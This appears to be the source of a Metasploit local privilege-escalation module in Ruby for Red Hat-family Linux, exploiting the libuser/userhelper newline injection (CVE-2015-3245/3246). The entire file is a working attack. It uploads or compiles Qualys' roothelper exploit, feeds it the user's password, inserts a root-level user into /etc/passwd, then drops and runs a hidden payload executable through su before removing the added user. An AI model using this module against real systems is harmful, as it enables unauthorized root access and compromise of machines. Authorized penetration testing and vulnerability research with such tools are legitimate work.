288 lines
9.1 KiB
Ruby
288 lines
9.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Post::Linux::Priv
|
|
include Msf::Post::Linux::System
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Libuser roothelper Privilege Escalation',
|
|
'Description' => %q{
|
|
This module attempts to gain root privileges on Red Hat based Linux
|
|
systems, including RHEL, Fedora and CentOS, by exploiting a newline
|
|
injection vulnerability in libuser and userhelper versions prior to
|
|
0.56.13-8 and version 0.60 before 0.60-7.
|
|
|
|
This module makes use of the roothelper.c exploit from Qualys to
|
|
insert a new user with UID=0 in /etc/passwd.
|
|
|
|
Note, the password for the current user is required by userhelper.
|
|
|
|
Note, on some systems, such as Fedora 11, the user entry for the
|
|
current user in /etc/passwd will become corrupted and exploitation
|
|
will fail.
|
|
|
|
This module has been tested successfully on libuser packaged versions
|
|
0.56.13-4.el6 on CentOS 6.0 (x86_64);
|
|
0.56.13-5.el6 on CentOS 6.5 (x86_64);
|
|
0.60-5.el7 on CentOS 7.1-1503 (x86_64);
|
|
0.56.16-1.fc13 on Fedora 13 (i686);
|
|
0.59-1.fc19 on Fedora Desktop 19 (x86_64);
|
|
0.60-3.fc20 on Fedora Desktop 20 (x86_64);
|
|
0.60-6.fc21 on Fedora Desktop 21 (x86_64);
|
|
0.60-6.fc22 on Fedora Desktop 22 (x86_64);
|
|
0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
|
|
0.60-5.el7 on Red Hat 7.0 (x86_64).
|
|
|
|
RHEL 5 is vulnerable, however the installed version of glibc (2.5)
|
|
is missing various functions required by roothelper.c.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Qualys', # Discovery and C exploit
|
|
'bcoles' # Metasploit
|
|
],
|
|
'DisclosureDate' => 'Jul 24 2015',
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
'Targets' => [[ 'Auto', {} ]],
|
|
'Privileged' => true,
|
|
'References' =>
|
|
[
|
|
[ 'EDB', '37706' ],
|
|
[ 'CVE', '2015-3245' ],
|
|
[ 'CVE', '2015-3246' ],
|
|
[ 'BID', '76021' ],
|
|
[ 'BID', '76022' ],
|
|
[ 'URL', 'https://seclists.org/oss-sec/2015/q3/185' ],
|
|
[ 'URL', 'https://access.redhat.com/articles/1537873' ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' =>
|
|
{
|
|
'AKA' => ['roothelper.c']
|
|
}
|
|
))
|
|
register_options [
|
|
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
|
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
|
|
]
|
|
register_advanced_options [
|
|
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
|
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
|
]
|
|
end
|
|
|
|
def base_dir
|
|
datastore['WritableDir'].to_s
|
|
end
|
|
|
|
def password
|
|
datastore['PASSWORD'].to_s
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
|
rm_f path
|
|
write_file path, data
|
|
register_file_for_cleanup path
|
|
end
|
|
|
|
def upload_and_chmodx(path, data)
|
|
upload path, data
|
|
cmd_exec "chmod +x '#{path}'"
|
|
end
|
|
|
|
def live_compile?
|
|
compile = false
|
|
|
|
if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
|
if has_gcc?
|
|
vprint_good 'gcc is installed'
|
|
compile = true
|
|
else
|
|
unless datastore['COMPILE'].eql? 'Auto'
|
|
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
|
end
|
|
end
|
|
end
|
|
|
|
compile
|
|
end
|
|
|
|
def check
|
|
userhelper_path = '/usr/sbin/userhelper'
|
|
unless setuid? userhelper_path
|
|
vprint_error "#{userhelper_path} is not setuid"
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good "#{userhelper_path} is setuid"
|
|
|
|
unless command_exists? 'script'
|
|
vprint_error "script is not installed. Exploitation will fail."
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good 'script is installed'
|
|
|
|
if cmd_exec('lsattr /etc/passwd').include? 'i'
|
|
vprint_error 'File /etc/passwd is immutable'
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good 'File /etc/passwd is not immutable'
|
|
|
|
glibc_banner = cmd_exec 'ldd --version'
|
|
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
|
|
if glibc_version.to_s.eql? ''
|
|
vprint_error 'Could not determine the GNU C library version'
|
|
return CheckCode::Detected
|
|
end
|
|
|
|
# roothelper.c requires functions only available since glibc 2.6+
|
|
if glibc_version < Gem::Version.new('2.6')
|
|
vprint_error "GNU C Library version #{glibc_version} is not supported"
|
|
return CheckCode::Safe
|
|
end
|
|
vprint_good "GNU C Library version #{glibc_version} is supported"
|
|
|
|
CheckCode::Detected
|
|
end
|
|
|
|
def exploit
|
|
if check == CheckCode::Safe
|
|
unless datastore['ForceExploit']
|
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
|
end
|
|
print_warning 'Target does not appear to be vulnerable'
|
|
end
|
|
|
|
if is_root?
|
|
unless datastore['ForceExploit']
|
|
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
|
end
|
|
end
|
|
|
|
unless writable? base_dir
|
|
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
|
end
|
|
|
|
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
|
executable_path = "#{base_dir}/#{executable_name}"
|
|
|
|
if live_compile?
|
|
vprint_status 'Live compiling exploit on system...'
|
|
|
|
# Upload Qualys' roothelper.c exploit:
|
|
# - https://www.exploit-db.com/exploits/37706/
|
|
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
|
|
fd = ::File.open path, 'rb'
|
|
c_code = fd.read fd.stat.size
|
|
fd.close
|
|
upload "#{executable_path}.c", c_code
|
|
output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"
|
|
|
|
unless output.blank?
|
|
print_error output
|
|
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
|
|
end
|
|
|
|
cmd_exec "chmod +x #{executable_path}"
|
|
register_file_for_cleanup executable_path
|
|
else
|
|
vprint_status 'Dropping pre-compiled exploit on system...'
|
|
|
|
# Cross-compiled with:
|
|
# - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
|
|
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
|
|
fd = ::File.open path, 'rb'
|
|
executable_data = fd.read fd.stat.size
|
|
fd.close
|
|
upload_and_chmodx executable_path, executable_data
|
|
end
|
|
|
|
# Run roothelper
|
|
timeout = 180
|
|
print_status "Launching roothelper exploit (Timeout: #{timeout})..."
|
|
output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
|
|
output.each_line { |line| vprint_status line.chomp }
|
|
|
|
if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
|
|
register_file_for_cleanup $1
|
|
end
|
|
|
|
if output =~ /died in parent: .*.c:517: forkstop_userhelper/
|
|
fail_with Failure::NoAccess, 'Incorrect password'
|
|
end
|
|
|
|
@username = nil
|
|
|
|
if output =~ /Exploit successful, run "su ([a-z])" to become root/
|
|
@username = $1
|
|
end
|
|
|
|
if @username.blank?
|
|
fail_with Failure::Unknown, 'Something went wrong'
|
|
end
|
|
|
|
print_good "Success! User '#{@username}' added to /etc/passwd"
|
|
|
|
# Upload payload executable
|
|
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
|
|
upload_and_chmodx payload_path, generate_payload_exe
|
|
|
|
# Execute payload executable
|
|
vprint_status 'Executing payload...'
|
|
cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
|
|
register_file_for_cleanup 'typescript'
|
|
end
|
|
|
|
#
|
|
# Remove new user from /etc/passwd
|
|
#
|
|
def on_new_session(session)
|
|
new_user_removed = false
|
|
|
|
if session.type.to_s.eql? 'meterpreter'
|
|
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
|
|
|
# Remove new user
|
|
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""
|
|
|
|
# Wait for clean up
|
|
Rex.sleep 5
|
|
|
|
# Check for new user in /etc/passwd
|
|
passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
|
|
unless passwd_contents =~ /^#{@username}:/
|
|
new_user_removed = true
|
|
end
|
|
elsif session.type.to_s.eql? 'shell'
|
|
# Remove new user
|
|
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"
|
|
|
|
# Check for new user in /etc/passwd
|
|
passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
|
|
unless passwd_user =~ /^#{@username}:/
|
|
new_user_removed = true
|
|
end
|
|
end
|
|
|
|
unless new_user_removed
|
|
print_warning "Could not remove user '#{@username}' from /etc/passwd"
|
|
end
|
|
rescue => e
|
|
print_error "Error during cleanup: #{e.message}"
|
|
ensure
|
|
super
|
|
end
|
|
end
|